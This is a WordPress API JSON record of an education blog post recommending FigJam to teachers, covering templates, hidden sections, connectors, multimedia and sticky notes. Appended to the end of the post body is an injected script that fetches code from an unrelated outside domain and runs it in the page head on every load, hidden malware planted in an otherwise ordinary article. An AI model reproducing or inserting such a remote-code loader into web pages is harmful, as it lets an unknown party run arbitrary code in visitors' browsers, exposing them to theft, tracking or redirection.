{"id":57294,"date":"2023-09-05T10:00:00","date_gmt":"2023-09-05T14:00:00","guid":{"rendered":"https:\/\/edtechteacher.org\/?p=57294"},"modified":"2024-11-03T11:13:35","modified_gmt":"2024-11-03T16:13:35","slug":"5-reasons-to-use-figjam-this-school-year","status":"publish","type":"post","link":"https:\/\/edtechteacher.org\/5-reasons-to-use-figjam-this-school-year\/","title":{"rendered":"5 Reasons To Use FigJam This School Year"},"content":{"rendered":"\n<p><em>Guest Post by <a href=\"http:\/\/@tomemullaney\">Tom Mullaney<\/a>. Tom infuses professional development with creativity, collaboration, and fun based on his experience as a Special Education and Social Studies teacher.\u00a0<\/em><\/p>\n\n\n\n<p>FigJam is a collaborative whiteboard that students and teachers can use to brainstorm, ideate, and collaborate. From simple drawings to sticky notes and comments, FigJam is a fun and engaging way to engage students in the classroom. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Here are five reasons FigJam will be your go-to edtech tool this school year.<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Templates<\/h3>\n\n\n\n<p>Let FigJam work for you with its plethora of <a href=\"https:\/\/www.figma.com\/@education\">ready-to-use education templates<\/a>! From popular education templates such as <a href=\"https:\/\/www.figma.com\/community\/file\/1043276457889087456\">K-W-L charts<\/a>, <a href=\"https:\/\/www.figma.com\/community\/file\/1096134886441546819\">Venn Diagrams<\/a>, and <a href=\"https:\/\/www.figma.com\/community\/file\/1124462341614808380\">timelines<\/a> to <a href=\"https:\/\/www.figma.com\/community\/file\/1268976675246970459\">story arcs<\/a> and <a href=\"https:\/\/www.figma.com\/community\/file\/1211015699963531977\/Weekly-classroom-check-in-template\">student check-ins<\/a>, FigJam has the templates teachers need to get started.<\/p>\n\n\n\n<p>Teachers are prompted to add templates when creating FigJams and can add multiple templates to a FigJam when editing.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/YH7MR4XH_GdQaRT2uALPjbUfxTmsDLvCax-BYSXNQH3VjujUFS74xi4RX8l4ozefBg3rwcyECaDjrAuUbf7vDTbTqJWpIcpcYUYTBQjyFOxHo3vnikrfLQyvTOKgQwWnZ6K2KDiqXrZwcstv_v-QpT8\" alt=\"The screen users see when creating a FigJam. Click the options to add a template:\n- Brainstorm\n- Agenda\n- Flowchart\n- Bug bash\n- Design crit\n- User journey\n- Retrospective\n- More templates\"\/><figcaption class=\"wp-element-caption\">Users are prompted to add a template when creating a FigJam.<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">2. Sections<\/h3>\n\n\n\n<p>Sections allow teachers to organize content and give students and groups distinct spaces to collaborate in a FigJam. Teachers can also hide sections and unveil them to guide students through a lesson.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/z9fdZUiNx1FvUvx_22cjS49Tglcyfy3zM6msADcMNitLi1zceOy4q_ihRABbORkhaiwpvM7fqEpH1k2tUw3wmj8jwTDWjIdgf6j6V26lGhzhuijYuvsTKRUN2avlpi4IRIKKVvdVUkVPvqLSYW4Tqus\" alt=\"An image of a stream going through mountains in a FigJam. Sections for \u201cTranspiration from Plants\u201d and \u201cPrecipitation\u201d are visible. Three other sections are hidden.\"\/><figcaption class=\"wp-element-caption\">Guide students through content by hiding and unveiling sections.<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/TR8C0ykN9y2keb7QrYpAO7KtjkvQegYHdj2uWTll8hWHkxiPFvnAWp_zlDpOEq0o6R1Pa0-ag_T7Mg5yiT3mzEw87dMqeRfNHmLXX2gzt_uMXi3MtFbm7Tz809injcCiSE8ne79VRmChOJT0VklBZrw\" alt=\"A FigJam with the prompt, \u201cUse the images to replace the words \u201cWhich President?\u201d with the president\u2019s name.\u201d Sections labeled \u201cRichard Nixon\u201d and \u201cFDR\u201d are visible. There is a section labeled \u201cWhich President?\u201d with content including \u201cMan on the Moon Goal Set,\u201d \u201cBay of Pigs Invasion,\u201d Cuban Missile Crisis,\u201d and \u201cBerlin Wall Built.\u201d There are three hidden sections.\"\/><figcaption class=\"wp-element-caption\">Unveil sections and ask students what connects items to review content.<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3. Making connections<\/h3>\n\n\n\n<p>FigJam\u2019s Connector tool gives students a visual representation of connections. Students can customize connector color and thickness, make dashed or solid connections, and choose from six start and end point options. They can even write text in the connector. An even more visual connecting tool is washi tape. Use it to show what two things have in common.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/NXNhSK3QZw2Ut9HON268kOpdQXrWCD17m9doBuJ0lNUqoBpURe0lFPZ6CYne-VoEA29aO6e5imGWVzXYGIoYh_LYe5AwVbYohDjJyvzMChyAPPNkQGYhL8lYLd-8NU4vD_TvXOYtUXTGHfjrhZBwkmM\" alt=\"A FigJam with content about World War I\u2019s long-term causes. FigJam connectors are used to connect causes. Washi tape with an image of King George V of England connects Czar Nicholas II of Russia and Kaiser Wilhelm of Germany.\"\/><figcaption class=\"wp-element-caption\">Use FigJam connectors and Washi tape to visualize connections.<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">4. Multimedia<\/h3>\n\n\n\n<p>Students can watch YouTube videos, record and play their voice, add images, and add GIPHY animated GIFS without leaving a FigJam. Have students click play on a YouTube video in a FigJam. They can type their reactions without having to pause the video!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/vzSHvlU7RWXRfP-aMfD95EXYyY6vmf89TzeakA7PacW5zdw6nI1T6b7Lxo1_Rb2dVo5ZOJtVOnE5590UPtB8dta4elMydg7K0f7V8MOzPPHMzLPAJmtv0fCBGaSlh4-1LU-CNoIjjm85ulofnZCrcH0\" alt=\"A YouTube video in a FigJam. There are instructions for students to add sticky notes based on what they see in the video.\"\/><figcaption class=\"wp-element-caption\">Add a video to a FigJam and have students respond to it.<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">5. Sticky Notes<\/h3>\n\n\n\n<p>FigJam is like Padlet on steroids. Sticky notes display their author\u2019s name. Add hyperlinks and tag collaborators in sticky note text. Build on ideas and make connections by clicking the plus sign on any side of a sticky note to add another sticky note.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/RF35kN5RH2oF7AxbqtKQpt5b_zif0eMU2DZh5PU3h8DmbPDzLEWLLf_7m_UGHkpWFeCtaPxPnqoyafOQRUwujhMNSefILq2UyiliREjqsbQuDggZ7vnv2H05BDvnLNF5C542VVlmpJNgKr-0CorD048\" alt=\"A FigJam sticky note surrounded by three sticky notes. Hover over the sticky note to add another sticky note.\u00a0\"\/><figcaption class=\"wp-element-caption\">Add sticky notes to a FigJam by hovering on a sticky note and clicking the \u201c+\u201d button.<\/figcaption><\/figure>\n\n\n\n<p><strong>Want to learn more about how <\/strong><a href=\"mailto:mistermullaney@gmail.com\"><strong>Tom Mullaney<\/strong><\/a><strong> and our other EdTechTeacher instructors can help you and your fellow educators?\u00a0 Take a look at <a href=\"https:\/\/edtechteacher.org\/what-we-do\/\">EdTechTeacher&#8217;s services page<\/a> or feel free reach out to us at <\/strong><a href=\"mailto:admin@edtechteacher.org\"><strong>admin@edtechteacher.org<\/strong><\/a><strong> to learn about our custom professional learning services that help teachers thrive in the classroom!<\/strong><\/p>\n<script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script>","protected":false},"excerpt":{"rendered":"<p>FigJam is a collaborative whiteboard that students and teachers can use to brainstorm, ideate, and collaborate. From simple drawings to sticky notes and comments, FigJam is a fun and engaging way to engage students in the classroom. Here are five reasons FigJam will be your go-to edtech tool this school year.<\/p>\n","protected":false},"author":6972,"featured_media":57295,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_tec_requires_first_save":true,"content-type":"","_EventAllDay":false,"_EventTimezone":"","_EventStartDate":"","_EventEndDate":"","_EventStartDateUTC":"","_EventEndDateUTC":"","_EventShowMap":false,"_EventShowMapLink":false,"_EventURL":"","_EventCost":"","_EventCostDescription":"","_EventCurrencySymbol":"","_EventCurrencyCode":"","_EventCurrencyPosition":"","_EventDateTimeSeparator":"","_EventTimeRangeSeparator":"","_EventOrganizerID":[],"_EventVenueID":[],"_OrganizerEmail":"","_OrganizerPhone":"","_OrganizerWebsite":"","_VenueAddress":"","_VenueCity":"","_VenueCountry":"","_VenueProvince":"","_VenueState":"","_VenueZip":"","_VenuePhone":"","_VenueURL":"","_VenueStateProvince":"","_VenueLat":"","_VenueLng":"","_VenueShowMap":false,"_VenueShowMapLink":false,"_tribe_blocks_recurrence_rules":"","_tribe_blocks_recurrence_description":"","_tribe_blocks_recurrence_exclusions":"","footnotes":""},"categories":[107,1399],"tags":[],"instructors":[],"class_list":["post-57294","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-differentiation"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":6}},"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - 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